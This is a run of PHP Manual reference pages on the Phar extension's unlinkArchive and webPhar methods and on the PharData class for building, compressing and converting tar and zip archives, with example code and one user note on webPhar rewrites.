Phar::uncompressAllFiles
Phar::webPhar
Phar
PHP Manual

Phar::unlinkArchive

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::unlinkArchive — Completely remove a phar archive from disk and from memory

Description

bool Phar::unlinkArchive ( string $archive )

Removes a phar archive for disk and memory.

Parameters

archive

The path on disk to the phar archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if there are any open file pointers to the phar archive, or any existing Phar, PharData, or PharFileInfo objects referring to the phar archive.

Examples

Example #1 A Phar::unlinkArchive() example

<?php
// simple usage
Phar::unlinkArchive('/path/to/my.phar');

// more common example:
$p = new Phar('my.phar');
$fp = fopen('phar://my.phar/file.txt', 'r');
// this creates 'my.phar.gz'
$gp = $p->compress(Phar::GZ);
// remove all references to the archive
unset($p);
fclose($fp);
// now remove all traces of the archive
Phar::unlinkArchive('my.phar');
?>

See Also

  • Phar::delete() - Delete a file within a phar archive
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.
Phar::uncompressAllFiles
Phar::webPhar
Phar


mapPhar for web-based phars. front controller for web applications

Phar::unlinkArchive
PharData
Phar
PHP Manual

Phar::webPhar

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::webPhar — mapPhar for web-based phars. front controller for web applications

Description

void Phar::webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, array $rewrites ]]]]] )

Phar::mapPhar() for web-based phars. This method parses $_SERVER['REQUEST_URI'] and routes a request from a web browser to an internal file within the phar archive. In essence, it simulates a web server, routing requests to the correct file, echoing the correct headers and parsing PHP files as needed. This powerful method is part of what makes it easy to convert an existing PHP application into a phar archive. Combined with Phar::mungServer() and Phar::interceptFileFuncs(), any web application can be used unmodified from a phar archive.

Phar::webPhar() should only be called from the stub of a phar archive (see here for more information on what a stub is).

Parameters

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

index

The location within the phar of the directory index.

f404

The location of the script to run when a file is not found. This script should output the proper HTTP 404 headers.

mimetypes

An array mapping additional file extensions to MIME type. If the default mapping is sufficient, pass an empty array. By default, these extensions are mapped to these MIME types:

<?php
$mimes = array(
    'phps' => Phar::PHPS, // pass to highlight_file()
    'c' => 'text/plain',
    'cc' => 'text/plain',
    'cpp' => 'text/plain',
    'c++' => 'text/plain',
    'dtd' => 'text/plain',
    'h' => 'text/plain',
    'log' => 'text/plain',
    'rng' => 'text/plain',
    'txt' => 'text/plain',
    'xsd' => 'text/plain',
    'php' => Phar::PHP, // parse as PHP
    'inc' => Phar::PHP, // parse as PHP
    'avi' => 'video/avi',
    'bmp' => 'image/bmp',
    'css' => 'text/css',
    'gif' => 'image/gif',
    'htm' => 'text/html',
    'html' => 'text/html',
    'htmls' => 'text/html',
    'ico' => 'image/x-ico',
    'jpe' => 'image/jpeg',
    'jpg' => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'js' => 'application/x-javascript',
    'midi' => 'audio/midi',
    'mid' => 'audio/midi',
    'mod' => 'audio/mod',
    'mov' => 'movie/quicktime',
    'mp3' => 'audio/mp3',
    'mpg' => 'video/mpeg',
    'mpeg' => 'video/mpeg',
    'pdf' => 'application/pdf',
    'png' => 'image/png',
    'swf' => 'application/shockwave-flash',
    'tif' => 'image/tiff',
    'tiff' => 'image/tiff',
    'wav' => 'audio/wav',
    'xbm' => 'image/xbm',
    'xml' => 'text/xml',
);
?>

rewrites

An array mapping URI to internal file, simulating mod_rewrite of apache. For example:

<?php
array(
    'myinfo' => 'myinfo.php'
);
?>
would route calls to http://<host>/myphar.phar/myinfo to the file phar:///path/to/myphar.phar/myinfo.php, preserving GET/POST. This does not quite work like mod_rewrite in that it would not match http://<host>/myphar.phar/myinfo/another.

Return Values

No value is returned.

Errors/Exceptions

Throws PharException when unable to open the internal file to output, or if called from a non-stub. If an invalid array value is passed into mimetypes or to rewrites, then UnexpectedValueException is thrown.

Examples

Example #1 A Phar::webPhar() example

With the example below, the created phar will display Hello World if one browses to /myphar.phar/index.php or to /myphar.phar, and will display the source of index.phps if one browses to /myphar.phar/index.phps.

<?php
// creating the phar archive:
try {
    $phar = new Phar('myphar.phar');
    $phar['index.php'] = '<?php echo "Hello World"; ?>';
    $phar['index.phps'] = '<?php echo "Hello World"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
    // handle error here
}
?>

See Also

  • Phar::mungServer() - Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::interceptFileFuncs() - instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

Mike O&#39;Malley 06-Oct-2009 04:18
It appears that the $rewrites parameter is a callback not an array. The implementation seems to be more in tune with this note http://www.mail-archive.com/internals@lists.php.net/msg33627.html , although, I was unable to figure out when or if a parameter gets passed to that function. I implemented it as follows:

<?php
$phar_name = 'mysite.phar';
function phar_rewrites()
{
  $r = $_SERVER['REQUEST_URI'];
  if (file_exists("phar://$phar_name$r")) return $r;
  else return 'index.php';
}
$phar = new Phar();
/*
 * do stuff to set up phar
 */
$phar->webPhar($phar_name, 'index.php', '404.php', $mimes, 'phar_rewrites');
?>

The above implementation will also stop the phar from sending out a 301 redirect to the index file when you rewrite (in apache) all requests to the phar.
Phar::unlinkArchive
PharData
Phar


The PharData class

(No version information available, might only be in SVN)

Introduction

The PharData class provides a high-level interface to accessing and creating non-executable tar and zip archives. Because these archives do not contain a stub and cannot be executed by the phar extension, it is possible to create and manipulate regular zip and tar files using the PharData class even if phar.readonly php.ini setting is 1.

Class synopsis

PharData extends Phar {
/* Properties */
/* Methods */
bool addEmptyDir ( string $dirname )
void Phar::addFile ( string $file [, string $localname ] )
bool addFromString ( string $localname , string $contents )
array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )
array buildFromIterator ( Iterator $iter [, string $base_directory ] )
object compress ( int $compression [, string $extension ] )
bool compressFiles ( int $compression )
__construct ( string $fname [, int $flags [, string $alias [, int $format = Phar::TAR ]]] )
PharData convertToData ([ int $format [, int $compression [, string $extension ]]] )
Phar convertToExecutable ([ int $format [, int $compression [, string $extension ]]] )
bool copy ( string $oldfile , string $newfile )
object decompress ([ string $extension ] )
bool decompressFiles ( void )
bool delMetadata ( void )
bool delete ( string $entry )
bool extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
bool isWritable ( void )
void offsetSet ( string $offset , string $value )
bool offsetUnset ( string $offset )
bool setAlias ( string $alias )
bool setDefaultStub ([ string $index [, string $webindex ]] )
void Phar::setMetadata ( mixed $metadata )
void Phar::setSignatureAlgorithm ( int $sigtype )
bool setStub ( string $stub )
/* Inherited methods */
void Phar::addEmptyDir ( string $dirname )
void Phar::addFile ( string $file [, string $localname ] )
void Phar::addFromString ( string $localname , string $contents )
string Phar::apiVersion ( void )
array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )
array Phar::buildFromIterator ( Iterator $iter [, string $base_directory ] )
bool Phar::canCompress ([ int $type = 0 ] )
bool Phar::canWrite ( void )
object Phar::compress ( int $compression [, string $extension ] )
bool Phar::compressAllFilesBZIP2 ( void )
bool Phar::compressAllFilesGZ ( void )
void Phar::compressFiles ( int $compression )
Phar::__construct ( string $fname [, int $flags [, string $alias ]] )
PharData Phar::convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
Phar Phar::convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
bool Phar::copy ( string $oldfile , string $newfile )
int Phar::count ( void )
string Phar::createDefaultStub ([ string $indexfile [, string $webindexfile ]] )
object Phar::decompress ([ string $extension ] )
bool Phar::decompressFiles ( void )
bool Phar::delMetadata ( void )
bool Phar::delete ( string $entry )
bool Phar::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
mixed Phar::getMetadata ( void )
bool Phar::getModified ( void )
array Phar::getSignature ( void )
string Phar::getStub ( void )
array Phar::getSupportedCompression ( void )
array Phar::getSupportedSignatures ( void )
string Phar::getVersion ( void )
bool Phar::hasMetadata ( void )
void Phar::interceptFileFuncs ( void )
bool Phar::isBuffering ( void )
mixed Phar::isCompressed ( void )
bool Phar::isFileFormat ( int $format )
bool Phar::isValidPharFilename ( string $filename [, bool $executable = true ] )
bool Phar::isWritable ( void )
bool Phar::loadPhar ( string $filename [, string $alias ] )
bool Phar::mapPhar ([ string $alias [, int $dataoffset = 0 ]] )
void Phar::mount ( string $pharpath , string $externalpath )
void Phar::mungServer ( array $munglist )
bool Phar::offsetExists ( string $offset )
int Phar::offsetGet ( string $offset )
void Phar::offsetSet ( string $offset , string $value )
bool Phar::offsetUnset ( string $offset )
string Phar::running ([ bool $retphar = true ] )
bool Phar::setAlias ( string $alias )
bool Phar::setDefaultStub ([ string $index [, string $webindex ]] )
void Phar::setMetadata ( mixed $metadata )
void Phar::setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )
bool Phar::setStub ( string $stub )
void Phar::startBuffering ( void )
void Phar::stopBuffering ( void )
bool Phar::uncompressAllFiles ( void )
bool Phar::unlinkArchive ( string $archive )
void Phar::webPhar ([ string $alias [, string $index = "index.php" [, string $f404 [, array $mimetypes [, array $rewrites ]]]]] )
}

Table of Contents

  • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
  • PharData::addFile — Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString — Add a file from the filesystem to the tar/zip archive
  • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.
  • PharData::buildFromIterator — Construct a tar or zip archive from an iterator.
  • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::compressFiles — Compresses all files in the current tar/zip archive
  • PharData::__construct — Construct a non-executable tar or zip archive object
  • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
  • PharData::decompress — Decompresses the entire Phar archive
  • PharData::decompressFiles — Decompresses all files in the current zip archive
  • PharData::delMetadata — Deletes the global metadata of a zip archive
  • PharData::delete — Delete a file within a tar/zip archive
  • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
  • PharData::isWritable — Returns true if the tar/zip archive can be modified
  • PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string
  • PharData::offsetUnset — remove a file from a tar/zip archive
  • PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)
  • PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)
  • Phar::setMetadata — Sets phar archive meta-data
  • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The
  • PharData::setStub — dummy function (Phar::setStub is not valid for PharData)

User Contributed Notes

There are no user contributed notes for this page.
Phar::webPhar
PharData::addEmptyDir
Phar


Add an empty directory to the tar/zip archive

PharData
PharData::addFile
PharData
PHP Manual

PharData::addEmptyDir

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addEmptyDir — Add an empty directory to the tar/zip archive

Description

bool PharData::addEmptyDir ( string $dirname )

With this method, an empty directory is created with path dirname. This method is similar to ZipArchive::addEmptyDir().

Parameters

dirname

The name of the empty directory to create in the phar archive

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addEmptyDir() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addEmptyDir('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::addEmptyDir() - Add an empty directory to the phar archive
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.
PharData
PharData::addFile
PharData


Add a file from the filesystem to the tar/zip archive

PharData::addEmptyDir
PharData::addFromString
PharData
PHP Manual

PharData::addFile

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addFile — Add a file from the filesystem to the tar/zip archive

Description

void Phar::addFile ( string $file [, string $localname ] )

With this method, any file or URL can be added to the tar/zip archive. If the optional second parameter localname is specified, the file will be stored in the archive with that name, otherwise the file parameter is used as the path to store within the archive. URLs must have a localname or an exception is thrown. This method is similar to ZipArchive::addFile().

Parameters

file

Full or relative path to a file on disk to be added to the phar archive.

localname

Path that the file will be stored in the archive.

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addFile() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFile('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // demonstrate URL usage
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::offsetSet() - set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::addEmptyDir
PharData::addFromString
PharData


Add a file from the filesystem to the tar/zip archive

PharData::addFile
PharData::buildFromDirectory
PharData
PHP Manual

PharData::addFromString

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::addFromString — Add a file from the filesystem to the tar/zip archive

Description

bool PharData::addFromString ( string $localname , string $contents )

With this method, any string can be added to the tar/zip archive. The file will be stored in the archive with localname as its path. This method is similar to ZipArchive::addFromString().

Parameters

localname

Path that the file will be stored in the archive.

contents

The file contents to store

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A PharData::addFromString() example

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // to add contents from a stream handle for large files, use offsetSet()
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
    fclose($c);
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::offsetSet() - set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFromString() - Add a file from the filesystem to the phar archive
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::addFile
PharData::buildFromDirectory
PharData


Construct a tar/zip archive from the files within a directory.

PharData::addFromString
PharData::buildFromIterator
PharData
PHP Manual

PharData::buildFromDirectory

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.

Description

array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )

Populate a tar/zip archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use PharData::buildFromIterator().

Parameters

base_dir

The full or relative path to the directory that contains all files to add to the archive.

regex

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

Return Values

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

Examples

Example #1 A PharData::buildFromDirectory() example

<?php
$phar = new PharData('project.tar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');

$phar2 = new PharData('project2.zip');
// add all files in the project, only include php files
$phar->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
?>

See Also

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory.
  • PharData::buildFromIterator() - Construct a tar or zip archive from an iterator.

User Contributed Notes

There are no user contributed notes for this page.
PharData::addFromString
PharData::buildFromIterator
PharData


Construct a tar or zip archive from an iterator.

PharData::buildFromDirectory
PharData::compress
PharData
PHP Manual

PharData::buildFromIterator

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::buildFromIterator — Construct a tar or zip archive from an iterator.

Description

array PharData::buildFromIterator ( Iterator $iter [, string $base_directory ] )

Populate a tar or zip archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the tar/zip to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

Examples

Example #1 A PharData::buildFromIterator() with SplFileInfo

For most tar/zip archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a tar/zip archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.tar" tar archive:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
?>

The file project.tar can then be used immediately. PharData::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the tar/zip archive.

As an interesting note, PharData::buildFromIterator() can also be used to copy the contents of an existing phar, tar or zip archive, as the PharData object descends from DirectoryIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A PharData::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
?>

Parameters

iter

Any iterator that either associatively maps tar/zip file to location or returns SplFileInfo objects

base_directory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the tar/zip archive

Return Values

PharData::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a base_directory parameter, or a PharException if there were errors saving the phar archive.

See Also

  • Phar::buildFromIterator() - Construct a phar archive from an iterator.

User Contributed Notes

There are no user contributed notes for this page.
PharData::buildFromDirectory
PharData::compress
PharData


Compresses the entire tar/zip archive using Gzip or Bzip2 compression

PharData::buildFromIterator
PharData::compressFiles
PharData
PHP Manual

PharData::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression

Description

object PharData::compress ( int $compression [, string $extension ] )

For tar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For zip archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .tar.gz or .tar.bz2 for compressing a tar, and .tar for decompressing.

Return Values

A PharData object is returned.

Errors/Exceptions

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A PharData::compress() example

<?php
$p = new PharData('/path/to/my.tar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.phar already exists
?>

See Also

  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression

User Contributed Notes

There are no user contributed notes for this page.
PharData::buildFromIterator
PharData::compressFiles
PharData


Compresses all files in the current tar/zip archive

PharData::compress
PharData::__construct
PharData
PHP Manual

PharData::compressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::compressFiles — Compresses all files in the current tar/zip archive

Description

bool PharData::compressFiles ( int $compression )

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method compresses all files in the archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A PharData::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::decompressFiles() - Decompresses all files in the current zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::compress
PharData::__construct
PharData


Construct a non-executable tar or zip archive object

PharData::compressFiles
PharData::convertToData
PharData
PHP Manual

PharData::__construct

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::__construct — Construct a non-executable tar or zip archive object

Description

PharData::__construct ( string $fname [, int $flags [, string $alias [, int $format = Phar::TAR ]]] )

Parameters

fname

Path to an existing tar/zip archive or to-be-created archive

flags

Flags to pass to Phar parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

format

One of the file format constants available within the Phar class.

Errors/Exceptions

Throws BadMethodCallException if called twice; UnexpectedValueException if the Phar archive can't be opened.

Examples

Example #1 A PharData::__construct() example

<?php
try {
    $p = new PharData('/path/to/my.tar', CURRENT_AS_FILEINFO | KEY_AS_FILENAME);
} catch (UnexpectedValueException $e) {
    die('Could not open my.tar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
echo file_get_contents('phar:///path/to/my.tar/example.txt');
?>

User Contributed Notes

There are no user contributed notes for this page.
PharData::compressFiles
PharData::convertToData
PharData


Convert a phar archive to a non-executable tar or zip file

PharData::__construct
PharData::convertToExecutable
PharData
PHP Manual

PharData::convertToData

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::convertToData — Convert a phar archive to a non-executable tar or zip file

Description

PharData PharData::convertToData ([ int $format [, int $compression [, string $extension ]]] )

This method is used to convert a non-executable tar or zip archive to another non-executable format.

If no changes are specified, this method throws a BadMethodCallException. This method should be used to convert a tar archive to zip format or vice-versa. Although it is possible to simply change the compression of a tar archive using this method, it is better to use the PharData::compress() method for logical consistency.

If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::TAR or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

Return Values

The method returns a PharData object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A PharData::convertToData() example

Using PharData::convertToData():

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // note that myphar.tar is *not* unlinked
    // convert it to the non-executable tar file format
    // creates myphar.zip
    $zip = $tarphar->convertToData(Phar::ZIP);
    // create myphar.tbz
    $tgz = $zip->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // creates myphar.phar.tgz
    $phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive

User Contributed Notes

There are no user contributed notes for this page.
PharData::__construct
PharData::convertToExecutable
PharData


Convert a non-executable tar/zip archive to an executable phar archive

PharData::convertToData
PharData::copy
PharData
PHP Manual

PharData::convertToExecutable

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive

Description

Phar PharData::convertToExecutable ([ int $format [, int $compression [, string $extension ]]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to convert a non-executable tar or zip archive to an executable phar archive. Any of the three executable file formats (phar, tar or zip) can be used, and whole-archive compression can also be performed.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

Return Values

The method returns a Phar object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A PharData::convertToExecutable() example

Using PharData::convertToExecutable():

<?php
try {
    $tarphar = new PharData('myphar.tar');
    // convert it to the phar file format
    // note that myphar.tar is *not* unlinked
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // creates myphar.phar.tgz
    $compressed = $tarphar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.
PharData::convertToData
PharData::copy
PharData


Copy a file internal to the phar archive to another new file within the phar

PharData::convertToExecutable
PharData::decompress
PharData
PHP Manual

PharData::copy

(PHP >= 5.3.0, PECL phar >= 2.0.0)

PharData::copy — Copy a file internal to the phar archive to another new file within the phar

Description

bool PharData::copy ( string $oldfile , string $newfile )

Copy a file internal to the tar/zip archive to another new file within the same archive. This is an object-oriented alternative to using copy() with the phar stream wrapper.

Parameters

oldfile

newfile

Return Values

returns TRUE on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

Errors/Exceptions

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

Examples

Example #1 A PharData::copy() example

This example shows using PharData::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All PharData methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // outputs "phar://myphar.tar/b"
} catch (Exception $e) {
    // handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.tar/a', 'phar//myphar.tar/c');
echo file_get_contents('phar://myphar.tar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.
PharData::convertToExecutable
PharData::decompress
PharData


Decompresses the entire Phar archive

PharData::copy
PharData::decompressFiles
PharData
PHP Manual

PharData::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

